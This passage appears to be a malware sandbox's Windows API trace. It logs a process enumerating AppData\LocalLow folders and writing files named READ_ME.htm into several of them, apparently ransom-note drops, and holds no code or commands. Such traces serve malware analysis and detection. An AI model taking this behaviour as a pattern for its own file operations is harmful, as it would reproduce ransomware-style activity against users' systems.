ftCreationTime.dwLowDateTime=0x7525ca20, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 1 [0147.430] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7525ca20, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 0 [0147.430] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.430] SetErrorMode (uMode=0x0) returned 0x1 [0147.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", lpFilePart=0x0) returned 0x48 [0147.431] SetErrorMode (uMode=0x1) returned 0x0 [0147.431] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\internet explorer\\services\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7525ca20, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 1 [0147.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7525ca20, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico", cAlternateFileName="SEARCH~1.ICO")) returned 0 [0147.431] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.432] SetErrorMode (uMode=0x0) returned 0x1 [0147.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0147.432] SetErrorMode (uMode=0x1) returned 0x0 [0147.432] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\internet explorer\\services\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.432] GetFileType (hFile=0x1d0) returned 0x1 [0147.432] SetErrorMode (uMode=0x0) returned 0x1 [0147.433] GetFileType (hFile=0x1d0) returned 0x1 [0147.433] WriteFile (in: hFile=0x1d0, lpBuffer=0x2916f78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2916f78*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0147.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0147.434] SetErrorMode (uMode=0x1) returned 0x0 [0147.434] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\internet explorer\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.437] GetFileType (hFile=0x1d0) returned 0x1 [0147.437] SetErrorMode (uMode=0x0) returned 0x1 [0147.438] GetFileType (hFile=0x1d0) returned 0x1 [0147.438] WriteFile (in: hFile=0x1d0, lpBuffer=0x291b568*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x291b568*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0147.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0147.439] SetErrorMode (uMode=0x1) returned 0x0 [0147.439] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.440] GetFileType (hFile=0x1d0) returned 0x1 [0147.440] SetErrorMode (uMode=0x0) returned 0x1 [0147.440] GetFileType (hFile=0x1d0) returned 0x1 [0147.440] WriteFile (in: hFile=0x1d0, lpBuffer=0x291fb18*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x291fb18*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0147.441] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x27 [0147.442] SetErrorMode (uMode=0x1) returned 0x0 [0147.442] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0147.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0147.443] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.444] SetErrorMode (uMode=0x0) returned 0x1 [0147.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x27 [0147.444] SetErrorMode (uMode=0x1) returned 0x0 [0147.444] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.445] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0147.445] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0147.445] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.445] SetErrorMode (uMode=0x0) returned 0x1 [0147.445] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java", lpFilePart=0x0) returned 0x2c [0147.445] SetErrorMode (uMode=0x1) returned 0x0 [0147.446] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.446] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.446] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0147.446] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0147.446] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.447] SetErrorMode (uMode=0x0) returned 0x1 [0147.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java", lpFilePart=0x0) returned 0x2c [0147.447] SetErrorMode (uMode=0x1) returned 0x0 [0147.447] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.447] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.447] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0147.447] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0147.448] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.448] SetErrorMode (uMode=0x0) returned 0x1 [0147.448] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x37 [0147.448] SetErrorMode (uMode=0x1) returned 0x0 [0147.448] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.448] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.449] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache", cAlternateFileName="")) returned 1 [0147.449] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48a19000, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48a19000, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4b8a9e60, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0147.449] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="log", cAlternateFileName="")) returned 1 [0147.449] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4889c240, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4889c240, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4889c240, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0147.449] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4889c240, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4889c240, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4889c240, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 0 [0147.449] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.449] SetErrorMode (uMode=0x0) returned 0x1 [0147.449] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x37 [0147.450] SetErrorMode (uMode=0x1) returned 0x0 [0147.450] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache", cAlternateFileName="")) returned 1 [0147.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48a19000, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48a19000, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4b8a9e60, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0147.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, 